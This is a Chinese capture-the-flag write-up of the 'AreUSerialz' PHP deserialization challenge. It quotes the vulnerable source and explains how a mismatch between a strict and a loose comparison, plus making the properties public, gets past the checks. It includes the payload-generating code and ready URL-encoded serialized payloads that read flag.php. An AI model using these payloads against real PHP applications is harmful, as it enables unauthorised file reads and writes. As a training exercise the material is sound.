[网鼎杯 2020 青龙组]AreUSerialz
[网鼎杯 2020 青龙组]AreUSerialz
考点
逻辑漏洞,两次比较方式不一样,一个强比较一个弱比较
PHP在7.1版本以上属性类型不敏感,在序列化时候把属性改为
public就可以绕过在
__destruct()中读取文件用绝对路径
wp
给了代码,先看入口
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}传入参数str,使用is_valid()判断是否满足条件,满足条件就对它反序列化。条件是str中字符的范围要在[32, 125]内。
然后再看给的FileHandler类,从__destruct()开始,然后对属性值做改变,最后执行process()函数
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}然后看process()函数,其中又调用了write(),read()和output()函数
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}write()函数向$this->filename中写入$this->content,
read()函数读取$this->filename
output()函数输出字符串
再看process()函数,如果$this->op是1,就是写入文件,$this->op是2就是读取文件并输出,否则就输出Bad Hacker
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}在__destruct()中$this->op的判断使用的==="2"强等于,而在process()中$this->op的判断使用的=="2"弱等于,可以使用int型的2绕过
<?php
class FileHandler{
protected $op = 2;
protected $filename = 'flag.php';
protected $content = '1';
}
echo urlencode(serialize(new FileHandler()));得到结果如下,但是protected属性在序列化时会加上%00,这不符合输入要求。PHP在7.1版本以上属性类型不敏感,在序列化时候把属性改为public就可以绕过。
O%3A11%3A%22FileHandler%22%3A3%3A%7Bs%3A5%3A%22%00%2A%00op%22%3Bi%3A2%3Bs%3A11%3A%22%00%2A%00filename%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A10%3A%22%00%2A%00content%22%3Bs%3A1%3A%221%22%3B%7D<?php
class FileHandler{
public $op = 2;
public $filename = 'flag.php';
public $content = '1';
}
echo urlencode(serialize(new FileHandler()));O%3A11%3A%22FileHandler%22%3A3%3A%7Bs%3A2%3A%22op%22%3Bi%3A2%3Bs%3A8%3A%22filename%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A7%3A%22content%22%3Bs%3A1%3A%221%22%3B%7DF12可以看到flag,原题是先读取/proc/self/目录找到配置文件,再去读flag,注意是用绝对路径。
小结
细节很重要
最后更新于